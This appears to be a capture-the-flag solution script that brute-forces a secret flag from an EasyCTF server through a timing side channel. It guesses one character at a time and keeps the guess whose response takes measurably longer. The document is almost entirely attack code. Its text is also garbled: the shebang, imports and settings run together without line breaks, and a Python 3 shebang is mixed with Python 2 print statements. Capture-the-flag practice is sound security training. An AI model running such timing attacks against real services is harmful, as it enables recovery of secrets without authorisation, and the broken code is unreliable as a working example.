```
#! /usr/bin/python3import timeimport socketserver = "c1.easyctf.com"port=12482
alpha="!}_34abcdefghijklmnopqrstuvwxyz01256789{"x=[]while True:    i=0    x=[]    data=""    while i<len(alpha):        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.connect((server, port))        start=s.recv(999).decode("utf-8")        test=data+alpha[i]        print "current test : "+test        tdeb=time.time()        s.send(test+"\n")        receive=s.recv(999).decode("utf-8")        tfin=time.time()        delai=tfin-tdeb        print delai        x.append(delai)        if i==0:            ref=delai            i+=1        else:            if abs(delai-ref)>0.2:                if delai>ref:                    data+=alpha[i]                else:                    data+=alpha[0]                i=0                print "---"                print data                print "---"            else:                i+=1
        if i==len(alpha):            i=0            indice=x.index(max(x))            data+=alpha[indice]            print "---"            print x            print data            print "---"            x=[]        if "no" not in receive:            print data            break
```